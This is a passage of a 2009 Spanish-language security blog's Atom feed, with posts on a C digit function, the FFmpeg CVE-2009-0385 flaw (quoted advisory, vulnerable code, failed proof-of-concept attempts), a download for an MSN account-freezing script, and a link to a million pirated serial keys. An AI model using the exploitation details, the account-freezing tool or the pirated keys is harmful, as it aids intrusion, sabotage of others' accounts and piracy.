href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;Ingrese un digito: &amp;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; 	&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;esdigito&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;getchar&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt; 		&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;Si es digito!&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; 	&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;	&lt;span style="color: rgb(177, 177, 0);"&gt;else&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;		&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;No es digito!&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; 	&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;	&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; esdigito&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; c&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt; 	&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;c&amp;gt;&lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;#39;0&amp;#39;&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;&amp;amp;&amp;amp;&lt;/span&gt; c&amp;lt;&lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;#39;9&amp;#39;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; ? &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br&gt;Creo que es posible hacerlo con Expresiones regulares, sin embargo en mi opinión y para este caso seria lo mas optimo que se puede escribir la función.&lt;br&gt;&lt;br&gt;Saludos&lt;br&gt; &lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-3906968390470425587?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/3906968390470425587/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=3906968390470425587' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/3906968390470425587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/3906968390470425587'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/c-digit-determinacion-si-un-caracter-es.html' title='[C] digit &quot;Determinacion si un caracter es Digito o no&quot;'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-5920067950165751828</id><published>2009-03-21T23:03:00.001-06:00</published><updated>2009-03-21T23:03:41.523-06:00</updated><title type='text'>Revistas HackxCrack</title><content type='html'>Hola que tal he agregado un mirror a estas revistas, espero y les sirvan.&lt;br&gt;&lt;br&gt;&lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/browse.aspx/.Public/papers/HackxCrack"&gt;HrackxCrack&lt;/a&gt;&lt;br&gt;&lt;br clear="all"&gt;Saludos&lt;br&gt;&lt;br&gt; -- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-5920067950165751828?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/5920067950165751828/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=5920067950165751828' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5920067950165751828'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5920067950165751828'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/revistas-hackxcrack.html' title='Revistas HackxCrack'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-4432054045493354681</id><published>2009-03-21T12:29:00.001-06:00</published><updated>2009-03-21T12:29:03.980-06:00</updated><title type='text'>[ES] CVE-2009-0385 mas detalles</title><content type='html'>Me he comunicado con Tobias Klein para pedir un mas detalles sobre la prueba de concepto para el bug descrito en el CVE-2009-0385, su comentario fue el siguiente&lt;br&gt;&lt;br&gt;&lt;font size="1"&gt;The vulnerability is 100% exploitable to execute arbitrary code. See &lt;a href="http://tk-blog.blogspot.com/2009/01/exploitable-userland-null-pointer.html"&gt;http://tk-blog.blogspot.com/2009/01/exploitable-userland-null-pointer.html&lt;/a&gt;.&lt;br&gt; &lt;br&gt;Tobi&lt;br&gt;&lt;/font&gt;&lt;br&gt;Segun describe en su blog, logro confirmar la vulnerabilidad y controlar el EIP tanto en windows y opensuse.&lt;br&gt;&lt;br&gt;El tiene un PoC, no le comente nada sobre el, mas que nada le pregunte sobre la estructura 4xm.&lt;br&gt; &lt;br&gt;Tambien me he comunicado con Mike Melanson que al parecer hace tiempo que no hablar el tema del formato de los archivos 4xm su cometario fue el siguiente&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;font size="1"&gt;What exactly are you trying to accomplish? I don&amp;#39;t have all the details of the 4xm format fresh in my mind. All of my knowledge is written down in either that document, or the FFmpeg demuxer (I also wrote the xine 4xm demuxer).&lt;br&gt; &lt;/font&gt;&lt;br&gt;Buscando sobre ello encontré con la pagina de la discusión de la vulnerabilidad&lt;br&gt;&lt;br&gt;&lt;a href="http://bugs.xine-project.org/show_bug.cgi?id=205"&gt;http://bugs.xine-project.org/show_bug.cgi?id=205&lt;/a&gt;&lt;br&gt;&lt;br&gt;Ahi comenta que xine-lib tiene un problema similar al descrito por Tobias que lo discute en su blog &lt;br&gt; &lt;br&gt;&lt;a href="http://tk-blog.blogspot.com/2009/02/tkadv2009-004-vs-xine-lib.html"&gt;http://tk-blog.blogspot.com/2009/02/tkadv2009-004-vs-xine-lib.html&lt;/a&gt;&lt;br&gt;&lt;br&gt;Bueno con esto ya tengo en mente que la vulnerabilidad del CVE-2009-0385 es explotable, espero terminar de entender el formato 4xm para poder terminar el PoC que la verdad es muy simple&lt;br clear="all"&gt; &lt;br&gt;Saludos&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-4432054045493354681?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/4432054045493354681/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=4432054045493354681' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4432054045493354681'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4432054045493354681'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/es-cve-2009-0385-mas-detalles.html' title='[ES] CVE-2009-0385 mas detalles'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-5813234890448267313</id><published>2009-03-21T12:27:00.001-06:00</published><updated>2009-03-21T12:27:28.307-06:00</updated><title type='text'>[EN] CVE-2009-0385 more details</title><content type='html'>&lt;div style="text-align: left;" id="result_box" dir="ltr"&gt;I contacted Tobias Klein asked for a more details on the proof of concept for the bug described in CVE-2009-0385, his comment was as follows &lt;br&gt;&lt;br&gt; &lt;font size="1"&gt;The vulnerability is 100% exploitable to execute arbitrary code. See &lt;a href="http://tk-blog.blogspot.com/2009/01/exploitable-userland-null-pointer.html"&gt;http://tk-blog.blogspot.com/2009/01/exploitable-userland-null-pointer.html&lt;/a&gt;. &lt;br&gt;&lt;br&gt; Tobi &lt;br&gt;&lt;/font&gt;&lt;br&gt; As described in his blog, an achievement confirmed the vulnerability and control the EIP in windows and opensuse. &lt;br&gt;&lt;br&gt; The PoC has not told her anything about him, more than anything you ask about the structure 4xm. &lt;br&gt; &lt;br&gt; I have also communicated with Mike Melanson who apparently does not speak while the issue of the format of your files cometary 4xm was as follows &lt;br&gt;&lt;br&gt;&lt;font size="1"&gt; What exactly are you trying to accomplish? I do not have all the details of the format 4xm fresh in my mind. All of my knowledge is written down either in that document, or the FFmpeg demuxer (I also wrote the xine demuxer 4xm). &lt;br&gt;&lt;br&gt; &lt;/font&gt;Searching on this page to find the discussion of vulnerability &lt;br&gt;&lt;br&gt; &lt;a href="http://bugs.xine-project.org/show_bug.cgi?id=205"&gt;http://bugs.xine-project.org/show_bug.cgi?id=205&lt;/a&gt; &lt;br&gt; &lt;br&gt; There he says that xine-lib has a problem similar to that described by Tobias discusses in his blog &lt;br&gt;&lt;br&gt; &lt;a href="http://tk-blog.blogspot.com/2009/02/tkadv2009-004-vs-xine-lib.html"&gt;http://tk-blog.blogspot.com/2009/02/tkadv2009-004-vs-xine-lib.html&lt;/a&gt; &lt;br&gt; &lt;br&gt; Well I already have in mind the vulnerability CVE-2009-0385 is usable, I hope to understand format complete 4xm order to complete the PoC that truth is very simple&lt;/div&gt;&lt;br clear="all"&gt;&lt;div style="text-align: left;" id="result_box" dir="ltr"&gt;Regards&lt;/div&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-5813234890448267313?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/5813234890448267313/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=5813234890448267313' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5813234890448267313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5813234890448267313'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/en-cve-2009-0385-more-details.html' title='[EN] CVE-2009-0385 more details'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-2458217256514168996</id><published>2009-03-20T10:16:00.006-06:00</published><updated>2010-01-06T19:41:42.031-06:00</updated><title type='text'>[Python] ItMsnProtocol (Project)</title><content type='html'>Creado por &lt;b&gt;&lt;a href="https://foro.elhacker.net/profiles/erik-u297942.html" title="Ver perfil de Erik#"&gt;Erik#&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;El script para desbloquearse esta genial.&lt;br /&gt;&lt;br /&gt;Saludos&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="line-height: 1.3em;font-size:14px;" &gt;&lt;b&gt;ItMsnProtocol Project&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Que es?&lt;/b&gt;&lt;br /&gt;Son unos scripts python de código abierto que usando la libreria msnp pueden crear diferentes sistemas de utilización.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Actuales scripts:&lt;/b&gt;&lt;br /&gt;Actualmente, estamos creando FreezItMsn y ByPassItMsn.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;FreezItMsn:&lt;/b&gt;&lt;br /&gt;Es un script que mediante un cierto tiempo, cuestion de segundos, congela la cuenta de messenger, no permite abrir al usuario su cuenta, le da error.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ByPassItMsn:&lt;/b&gt;&lt;br /&gt;Es un script que mediante un cierto tiempo, cuestion de segundos, inhabilita las congelaciones a tu cuenta.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Descargas:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Pack completo:&lt;/b&gt; &lt;a href="http://krews.es/ItMsnProtocol.zip" target="_blank" class="posted"&gt;http://krews.es/ItMsnProtocol.zip&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A qui pongo un mirror parece que el sitio original esta ya caido:&lt;br /&gt;&lt;br /&gt;http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/src/ItMsnProtocol.zip&lt;br /&gt;&lt;br /&gt;--&lt;br /&gt;- Anon&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-2458217256514168996?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/2458217256514168996/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=2458217256514168996' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2458217256514168996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2458217256514168996'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/python-itmsnprotocol-project.html' title='[Python] ItMsnProtocol (Project)'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-1498376793170078481</id><published>2009-03-19T18:38:00.001-06:00</published><updated>2009-03-19T18:38:17.039-06:00</updated><title type='text'>Cafeshito: Futura aplicación para Cybers.</title><content type='html'>CAFESHITO es una aplicacion para administrar, controlar, mediar el tiempo de consumo de los equipos de&lt;br&gt;computo conectados a la red del cybercafe, ya sean equipos conectado a la red local o equipos conectados&lt;br&gt;a la red inalambrica. CAFESHITO es una aplicacion de software libre desarrollada principalmente para los cybercafes que desean&lt;br&gt; aventurarse en la implementacion de redes monitoreadas de cybercafe sbre GNU/Linux.&lt;br&gt;&lt;br&gt;CAFESHITO es un proyecto de software desarrollado por el grupo de programadores perteneciendes a la empresa&lt;br&gt;de seguridad informatica y desarrollo de software SIE-Group. SIE-Group es una empresa que patrocina y&lt;br&gt; desarrolla proyectos innovadores utiles para los usuarios.&lt;br&gt;&lt;br&gt;CAFESHITO es un proyecto emprendido el 10 de Marzo del 2009 por el M.S.I Angel Cantu (Diabliyo) y como aun&lt;br&gt;es una version &amp;#39;inestable&amp;#39; y en desarrollo, la pagina del proyeto esta abierta a propuestas, colaboraciones&lt;br&gt; o incorporacion de gente programadora interesada, para mayor informacion visitar el sitio.&lt;br&gt;&lt;br&gt;Web del Proyecto:&lt;br&gt;---&amp;gt; &lt;a href="http://cafeshito.sie-group.net/"&gt;http://cafeshito.sie-group.net/&lt;/a&gt; &amp;lt;---&lt;br&gt;&lt;br&gt;-- &lt;br&gt; - Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-1498376793170078481?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/1498376793170078481/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=1498376793170078481' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/1498376793170078481'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/1498376793170078481'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/cafeshito-futura-aplicacion-para-cybers.html' title='Cafeshito: Futura aplicación para Cybers.'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-5957921948085919616</id><published>2009-03-18T20:11:00.001-06:00</published><updated>2009-03-18T20:11:42.617-06:00</updated><title type='text'>More than 1 million and Serial Key and Freeware Software</title><content type='html'>More than 1 million and Serial Key of Freeware and Software 2007-2008&lt;br&gt;&lt;br&gt;&lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/src/Millon%7C_Keys.txt.bz2"&gt;Millon_Keys.txt.bz2&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;div style="text-align: left;" id="result_box" dir="ltr"&gt; Regards&lt;/div&gt;&lt;br&gt;&lt;hr&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;Mas de 1 millon  de Serial Key y Claves de Freeware y Software 2007-2008&lt;br&gt;&lt;br&gt;&lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/src/Millon%7C_Keys.txt.bz2"&gt;Millon_Keys.txt.bz2&lt;/a&gt;&lt;br&gt; &lt;br&gt;Saludos&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-5957921948085919616?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/5957921948085919616/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=5957921948085919616' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5957921948085919616'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5957921948085919616'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/more-than-1-million-and-serial-key-and.html' title='More than 1 million and Serial Key and Freeware Software'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-8479169251560547799</id><published>2009-03-18T17:47:00.001-06:00</published><updated>2009-03-18T17:47:37.634-06:00</updated><title type='text'>CVE-2009-0385: FFmpeg Type Conversion Vulnerability</title><content type='html'>Original Advisory&lt;br&gt;&lt;br&gt;&lt;a href="http://www.trapkit.de/advisories/TKADV2009-004.txt"&gt;http://www.trapkit.de/advisories/TKADV2009-004.txt&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;&lt;font size="1"&gt;==================&lt;br&gt; Technical Details:&lt;br&gt;==================&lt;br&gt;&lt;br&gt;Source code file: libavformat/4xm.c&lt;br&gt;&lt;br&gt;[..]&lt;br&gt; 93 static int fourxm_read_header(AVFormatContext *s,&lt;br&gt; 94                               AVFormatParameters *ap)&lt;br&gt; 95 {&lt;br&gt;  ..&lt;br&gt;103 [8]  int current_track = -1;&lt;br&gt; ..&lt;br&gt;106 [9]  fourxm-&amp;gt;track_count = 0;&lt;br&gt;107 [10] fourxm-&amp;gt;tracks = NULL;&lt;br&gt; ..&lt;br&gt;160      } else if (fourcc_tag == strk_TAG) {&lt;br&gt;161          /* check that there is enough data */&lt;br&gt; 162          if (size != strk_SIZE) {&lt;br&gt;163              av_free(header);&lt;br&gt;164              return AVERROR_INVALIDDATA;&lt;br&gt;165          }&lt;br&gt;166 [1]      current_track = AV_RL32(&amp;amp;header[i + 8]);&lt;br&gt;167 [2]      if (current_track + 1 &amp;gt; fourxm-&amp;gt;track_count) {&lt;br&gt; 168             fourxm-&amp;gt;track_count = current_track + 1;&lt;br&gt;169             if((unsigned)fourxm-&amp;gt;track_count &amp;gt;= UINT_MAX / &lt;br&gt;                           sizeof(AudioTrack))&lt;br&gt;170               return -1;&lt;br&gt;171 [3]         fourxm-&amp;gt;tracks = av_realloc(fourxm-&amp;gt;tracks,&lt;br&gt; 172                 fourxm-&amp;gt;track_count * sizeof(AudioTrack));&lt;br&gt;173             if (!fourxm-&amp;gt;tracks) {&lt;br&gt;174               av_free(header);&lt;br&gt;175               return AVERROR(ENOMEM);&lt;br&gt;176             }&lt;br&gt;177         }&lt;br&gt; 178 [4] fourxm-&amp;gt;tracks[current_track].adpcm = AV_RL32(&amp;amp;header[i + 12]);&lt;br&gt;179 [5] fourxm-&amp;gt;tracks[current_track].channels = AV_RL32(&amp;amp;header[i + 36]);&lt;br&gt;180 [6] fourxm-&amp;gt;tracks[current_track].sample_rate = AV_RL32(&amp;amp;header[i+40]);&lt;br&gt; 181 [7] fourxm-&amp;gt;tracks[current_track].bits = AV_RL32(&amp;amp;header[i + 44]);&lt;br&gt;[..]&lt;br&gt;&lt;br&gt;[1] The signed int variable &amp;quot;current_track&amp;quot; (see [8]) is filled with user &lt;br&gt;    supplied data from the media file&lt;br&gt; [2] This statement checks if the user controlled value of &amp;quot;current_track&amp;quot; &lt;br&gt;    is greater than &amp;quot;fourxm-&amp;gt;track_count&amp;quot;. The variable &amp;quot;fourxm-&lt;br&gt;    &amp;gt;track_count&amp;quot; is initialized with 0 (see [9]). By supplying a value &amp;gt;= &lt;br&gt;     0x80000000 for &amp;quot;current_track&amp;quot; it is possible to cause a change in sign&lt;br&gt;    that results in &amp;quot;current_track&amp;quot; being negative. If &amp;quot;current_track&amp;quot; is &lt;br&gt;    negative, the if statement will always return false and the buffer &lt;br&gt;     allocation in [3] will never be reached.&lt;br&gt;[4] As &amp;quot;fourxm-&amp;gt;tracks&amp;quot; is initialized with NULL (see [10]) and line 171 is&lt;br&gt;    never reached this leads to an exploitable NULL pointer dereference. It&lt;br&gt;    is possible to write 4 bytes of user controlled data to the memory &lt;br&gt;     location &amp;quot;NULL + current_track&amp;quot;. As the value of &amp;quot;current_track&amp;quot; is &lt;br&gt;    also controlled by the user it is possible to write 4 bytes of &lt;br&gt;    arbitrary data at a wide range of memory addresses.&lt;br&gt; [5] See [4]&lt;br&gt;[6] See [4]&lt;br&gt;[7] See [4]&lt;br&gt;&lt;br&gt;A malicious party may exploit this issue to execute arbitrary code by &lt;br&gt;overwriting a sensitive memory location (such as a GOT/IAT entry, a return &lt;br&gt;address, buffer length or boolean variable).&lt;br&gt; &lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;/div&gt;Afecta a algunos reproductores como xine Mplayer entre otros, Según yo solo podremos crear un DoS pero seria de ver.&lt;br&gt;&lt;br&gt;Ya hay parche pero dudo que los linuxeros (Comunes) estén parcheando cada una de las vulnerabilidades que salen...&lt;br&gt; &lt;br&gt;Bueno, he tratado de crear un PoC para la vulnerabilidad sin embargo no lo he logrado, tengo un archivo 4xm que según yo debería de funcionar o por lo menos eso creo.&lt;br&gt;&lt;br&gt;Al parecer no he comprendido muy bien el formato de los los archivos 4xm.&lt;br&gt;&lt;br&gt;El formato 4x Movie esta descrito aqui:&lt;br&gt;&lt;a href="http://multimedia.cx/4xm-format.txt"&gt;http://multimedia.cx/4xm-format.txt&lt;/a&gt;&lt;br&gt; &lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;4xm files appear to have the following general structure:&lt;br&gt;&lt;br&gt;  RIFF header&lt;br&gt;    LIST-HEAD chunk&lt;br&gt;      &lt;b&gt;LIST-HNFO chunk&lt;/b&gt;&lt;br&gt;    LIST-TRK_ chunk&lt;br&gt;      LIST-VTRK chunk&lt;br&gt;       LIST-STRK chunk&lt;br&gt;      [..more tracks..]&lt;br&gt;    LIST-MOVI chunk&lt;br&gt;      LIST-FRAM chunk&lt;br&gt;      LIST-FRAM chunk&lt;br&gt;      LIST-FRAM chunk&lt;br&gt;      [..more frame tracks..]&lt;br&gt;&lt;/div&gt;&lt;br&gt;tengo duda de LIST-HNFO ya que de este no esta entre las decalaraciones de los Tag de la libreria:&lt;br&gt; &lt;br&gt;libavformat/4xm.c&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#define  RIFF_TAG MKTAG(&amp;#39;R&amp;#39;, &amp;#39;I&amp;#39;, &amp;#39;F&amp;#39;, &amp;#39;F&amp;#39;)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#define _4XMV_TAG MKTAG(&amp;#39;4&amp;#39;, &amp;#39;X&amp;#39;, &amp;#39;M&amp;#39;, &amp;#39;V&amp;#39;)&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;#define  LIST_TAG MKTAG(&amp;#39;L&amp;#39;, &amp;#39;I&amp;#39;, &amp;#39;S&amp;#39;, 